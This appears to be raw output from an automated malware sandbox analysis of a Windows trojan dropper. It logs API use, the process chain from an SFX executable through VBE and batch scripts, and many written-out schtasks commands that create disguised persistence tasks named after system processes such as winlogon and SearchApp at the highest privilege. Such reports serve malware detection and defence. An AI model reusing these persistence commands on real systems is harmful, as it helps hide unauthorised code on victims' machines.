Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D7FDFA 0_2_00D7FDFA
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D73D6D 0_2_00D73D6D
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6ED14 0_2_00D6ED14
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6DE6C 0_2_00D6DE6C
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D6BE13 0_2_00D6BE13
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D80F78 0_2_00D80F78
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D65F3C 0_2_00D65F3C
Source: C:\serversessionmonitor\blockfont.exe Code function: 4_2_00007FFD9B8E3585 4_2_00007FFD9B8E3585
Source: C:\serversessionmonitor\blockfont.exe Code function: 4_2_00007FFD9B8EA155 4_2_00007FFD9B8EA155
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Code function: 20_2_00007FFD9B8D3585 20_2_00007FFD9B8D3585
Source: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe Code function: 20_2_00007FFD9B8DA155 20_2_00007FFD9B8DA155
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Code function: 22_2_00007FFD9B8F33E0 22_2_00007FFD9B8F33E0
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Code function: 22_2_00007FFD9B8FD218 22_2_00007FFD9B8FD218
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Code function: 22_2_00007FFD9B8FD158 22_2_00007FFD9B8FD158
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Code function: 22_2_00007FFD9B9028A0 22_2_00007FFD9B9028A0
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Code function: 22_2_00007FFD9B903C6D 22_2_00007FFD9B903C6D
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Code function: 22_2_00007FFD9B8FB300 22_2_00007FFD9B8FB300
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Code function: 22_2_00007FFD9B8FB1A8 22_2_00007FFD9B8FB1A8
Source: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe Code function: 22_2_00007FFD9B8FA155 22_2_00007FFD9B8FA155
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Code function: 37_2_00007FFD9B8E3585 37_2_00007FFD9B8E3585
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Code function: 37_2_00007FFD9B8EA155 37_2_00007FFD9B8EA155
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: String function: 00D7E360 appears 52 times
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: String function: 00D7ED00 appears 31 times
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: String function: 00D7E28C appears 35 times
PE file contains executable resources (Code or Archives)
Source: blockfont.exe.0.dr Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: qwhJcOiWbbUoQMvwnJNr.exe.4.dr Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: backgroundTaskHost.exe.4.dr Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Sample file is different than original file name gathered from version info
Source: 5P9EdUgv5r.exe, 00000000.00000003.1629891261.0000000006B8D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 5P9EdUgv5r.exe
Source: 5P9EdUgv5r.exe, 00000000.00000003.1631592664.0000000005624000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 5P9EdUgv5r.exe
Source: 5P9EdUgv5r.exe, 00000000.00000003.1631221587.0000000005622000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 5P9EdUgv5r.exe
Source: 5P9EdUgv5r.exe Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 5P9EdUgv5r.exe
Uses 32bit PE files
Source: 5P9EdUgv5r.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, pEliLlAg9VImohRyaFR.cs Cryptographic APIs: 'TransformBlock'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, pEliLlAg9VImohRyaFR.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RjptLIiSqcughaqdf1L.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RjptLIiSqcughaqdf1L.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, pEliLlAg9VImohRyaFR.cs Cryptographic APIs: 'TransformBlock'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, pEliLlAg9VImohRyaFR.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RjptLIiSqcughaqdf1L.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RjptLIiSqcughaqdf1L.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RiBMyj0Ypa1aKVey8Er.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.5P9EdUgv5r.exe.566f5a6.1.raw.unpack, RiBMyj0Ypa1aKVey8Er.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RiBMyj0Ypa1aKVey8Er.cs Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.5P9EdUgv5r.exe.6bda5a6.0.raw.unpack, RiBMyj0Ypa1aKVey8Er.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.evad.winEXE@38/21@1/1
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D66EC9 GetLastError,FormatMessageW, 0_2_00D66EC9
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Code function: 0_2_00D79E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree, 0_2_00D79E1C
Source: C:\serversessionmonitor\blockfont.exe File created: C:\Program Files (x86)\windows portable devices\winlogon.exe Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\blockfont.exe.log Jump to behavior
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_03
Source: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\7cebdd664cb9e6472b16d991171ee8e76033ae4b
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" "
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Command line argument: sfxname 0_2_00D7D5D4
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Command line argument: sfxstime 0_2_00D7D5D4
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Command line argument: STARTDLG 0_2_00D7D5D4
Source: 5P9EdUgv5r.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5P9EdUgv5r.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\serversessionmonitor\blockfont.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe File read: C:\Windows\win.ini Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 5P9EdUgv5r.exe ReversingLabs: Detection: 71%
Source: 5P9EdUgv5r.exe Virustotal: Detection: 61%
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe File read: C:\Users\user\Desktop\5P9EdUgv5r.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\5P9EdUgv5r.exe "C:\Users\user\Desktop\5P9EdUgv5r.exe"
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" "
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\serversessionmonitor\blockfont.exe "C:\serversessionmonitor\blockfont.exe"
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\windows portable devices\winlogon.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 9 /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 14 /tr "'C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\windows media player\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: unknown Process created: C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe C:\Windows\RemotePackages\RemoteApps\qwhJcOiWbbUoQMvwnJNr.exe
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: unknown Process created: C:\Program Files (x86)\Microsoft OneDrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe "C:\Program Files (x86)\microsoft onedrive\LogoImages\qwhJcOiWbbUoQMvwnJNr.exe"
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 6 /tr "'C:\Recovery\SearchApp.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Recovery\SearchApp.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 8 /tr "'C:\Recovery\SearchApp.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\windows mail\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNr" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "qwhJcOiWbbUoQMvwnJNrq" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\microsoft office\Office16\qwhJcOiWbbUoQMvwnJNr.exe'" /rl HIGHEST /f
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe "C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe"
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\serversessionmonitor\1ogacUYksBebmJ8WSR.vbe" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\serversessionmonitor\ovpXJB1x2XJwVqS.bat" " Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\serversessionmonitor\blockfont.exe "C:\serversessionmonitor\blockfont.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: unknown unknown Jump to behavior
Source: C:\serversessionmonitor\blockfont.exe Process created: C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe "C:\Program Files\Windows Portable Devices\qwhJcOiWbbUoQMvwnJNr.exe" Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: <pi-ms-win-core-synch-l1-2-0.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: <pi-ms-win-core-synch-l1-2-0.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: <pi-ms-win-core-localization-l1-2-1.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: dxgidebug.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\Desktop\5P9EdUgv5r.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: dlnashext.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wpdshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
